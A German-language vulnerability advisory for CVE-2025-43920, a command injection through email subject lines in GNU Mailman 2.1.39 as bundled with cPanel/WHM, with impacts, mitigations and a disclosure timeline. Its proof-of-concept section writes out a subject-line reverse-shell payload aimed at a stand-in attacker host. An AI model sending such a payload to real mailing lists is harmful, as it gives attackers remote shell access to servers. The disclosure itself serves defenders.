CVE-2025-43920: Befehlseinschleusung über den E-Mail-Betreff in GNU Mailman 2.1.39 (cPanel/WHM Bundle)

Entdeckt von: Firudin Davudzada & Musazada Aydan
Offenlegungsdatum: April 2025
CVE-ID: CVE-2025-43920
Schweregrad: 5.4 Mittel (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N)
Angriffstyp: Remote
Betroffene Software: GNU Mailman 2.1.39 (gebündelt mit cPanel/WHM)

Überblick

GNU Mailman 2.1.39, wie es mit cPanel und WHM gebündelt ist, ist anfällig für eine kritische Befehlseinschleusung, die es nicht authentifizierten Angreifern ermöglicht, beliebige Betriebssystembefehle auszuführen. Die Schwachstelle tritt auf, wenn ein externer Archivierer über PUBLIC_EXTERNAL_ARCHIVER oder PRIVATE_EXTERNAL_ARCHIVER in der Konfigurationsdatei mm_cfg.py konfiguriert ist und die E-Mail-Betreffzeile Shell-Metazeichen enthält, die nicht ordnungsgemäß bereinigt werden. Dies kann zur vollständigen Kompromittierung des Systems führen, sodass Angreifer Reverse Shells einrichten, Daten exfiltrieren oder andere schädliche Aktionen ausführen können.

Schwachstellendetails

• Schwachstellentyp: Befehlseinschleusung
• Hersteller: GNU Mailman (GNU Mailman)
• Betroffene Versionen: Mailman 2.1.39; betrifft wahrscheinlich ältere 2.1.x-Versionen (Regressionsprüfung ausstehend)
• Betroffene Komponenten:
  • Externe Archiviererkonfiguration (PUBLIC_EXTERNAL_ARCHIVER, PRIVATE_EXTERNAL_ARCHIVER)
  • Mailman/Handlers/ (Logik zur Verarbeitung des E-Mail-Betreffs, möglicherweise einschließlich Dateien wie CookHeaders.py)
• Ursache: Wenn ein externer Archivierer konfiguriert ist, kann die E-Mail-Betreffzeile ohne ordnungsgemäße Bereinigung an einen Shell-Befehl übergeben werden, was die Ausführung beliebiger Befehle ermöglicht, wenn Shell-Metazeichen (z. B. ;, &, |) vorhanden sind.
• Status: Kein offizieller Fix verfügbar. Mailman 2.1.x ist Ende der Lebensdauer (EOL); Migration zu Mailman 3.x wird dringend empfohlen.

Proof of Concept

Um diese Schwachstelle auszunutzen, kann ein Angreifer eine E-Mail an eine von Mailman verwaltete Liste mit einer bösartigen Betreffzeile senden, wie zum Beispiel:

Subject: ;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Voraussetzungen:

• Die Ziel-Mailman-Liste muss über PUBLIC_EXTERNAL_ARCHIVER oder PRIVATE_EXTERNAL_ARCHIVER einen externen Archivierer konfiguriert haben.
• Der Angreifer muss einen Mail-Server oder -Client kontrollieren, der in der Lage ist, an die Zielliste zu senden.
• Ein Listener (z. B. netcat) muss auf ATTACKERIP:4444 eingerichtet sein, um die Reverse Shell zu empfangen.

Erwartetes Ergebnis: Wenn der Befehl des externen Archivierers die Betreffzeile nicht bereinigt, wird der schädliche Befehl auf dem Server ausgeführt und eine Reverse Shell zum Server des Angreifers hergestellt.

Angriffsvektoren

• Primärer Vektor: Bösartige E-Mail-Betreffzeilen mit Shell-Metazeichen, die an eine von Mailman verwaltete Mailingliste mit konfiguriertem externen Archivierer gesendet werden.
• Ausbeutungsszenarien:
  • Einrichten von Reverse Shells für dauerhaften Zugriff.
  • Ausführen von Befehlen zum Exfiltrieren von Daten, Ändern von Konfigurationen oder Installieren von Malware.
  • Verkettung mit anderen Schwachstellen zur Eskalation von Angriffen.
• Ausnutzungsgrad: Hoch, da jeder E-Mail-Absender öffentliche oder falsch konfigurierte Listen mit einem externen Archivierer-Setup angreifen kann.

Sicherheitsauswirkungen

• Codeausführung: Hoch (beliebige Betriebssystembefehlausführung).
• Rechteausweitung: Hoch (potenzieller Root-Zugriff abhängig von Mailmans Laufzeitberechtigungen).
• Informationsoffenlegung: Hoch (Befehlsausgabe kann Systemdaten preisgeben).
• Denial of Service: Hoch (bösartige Befehle können den Server zum Absturz bringen oder überlasten).

Abhilfemaßnahmen

Sofortige Maßnahmen

• Externe Archivierer deaktivieren: Setzen Sie PUBLIC_EXTERNAL_ARCHIVER und PRIVATE_EXTERNAL_ARCHIVER in mm_cfg.py auf None, um die Funktionalität des externen Archivierers zu deaktivieren:

  root@kitploit:~

  PUBLIC_EXTERNAL_ARCHIVER = None
  PRIVATE_EXTERNAL_ARCHIVER = None
  

• Eingaben bereinigen: Falls ein externer Archivierer erforderlich ist, stellen Sie sicher, dass der Befehl die Betreffzeile bereinigt, um Shell-Metazeichen-Injektion zu verhindern.

• Abonnements einschränken: Beschränken Sie Mailinglisten-Abonnements auf vertrauenswürdige Benutzer, um die Angriffsfläche zu verringern.

Langfristige Lösungen

• Upgrade auf Mailman 3.x: Migrieren Sie zu Mailman 3.x, das eine robuste Eingabebereinigung implementiert und aktiv gewartet wird.
• E-Mail-Verarbeitung deaktivieren: Falls nicht erforderlich, deaktivieren Sie die E-Mail-Verarbeitungsfunktion von Mailman, um den Angriffsvektor zu eliminieren.
• Umgebung härten: Führen Sie Mailman in einer containerisierten Umgebung mit minimalen Berechtigungen aus, um die Auswirkungen potenzieller Exploits zu begrenzen.

Zeitplan

• Q1 2025: Entdeckt während einer autorisierten Penetrationstest-Bewertung.
• Q1 2025: Gemeldet an die Betreuer von GNU Mailman und cPanel.
• April 2025: CVE von MITRE zugewiesen.
• April 2025: Öffentliche Offenlegung über dieses Repository.

Referenzen

• Mailman 2.1 Source Code
• CVE-2025-43920 Record
• Mailman Security Recommendations
• INCIBE-CERT - CVE-2025-43920
• VULDB - CVE-2025-43920
• National Institute of Standards and Technology (NIST) - CVE-2025-43920
• Tenable - CVE-2025-43920

Danksagungen

Firudin Davudzada und Musazada Aydan haben diese Schwachstelle im Rahmen einer genehmigten Penetrationstest-Übung verantwortungsvoll offengelegt. Dank an das MITRE CVE-Team für die Koordination.

Kontakt

E-Mail: [email protected]\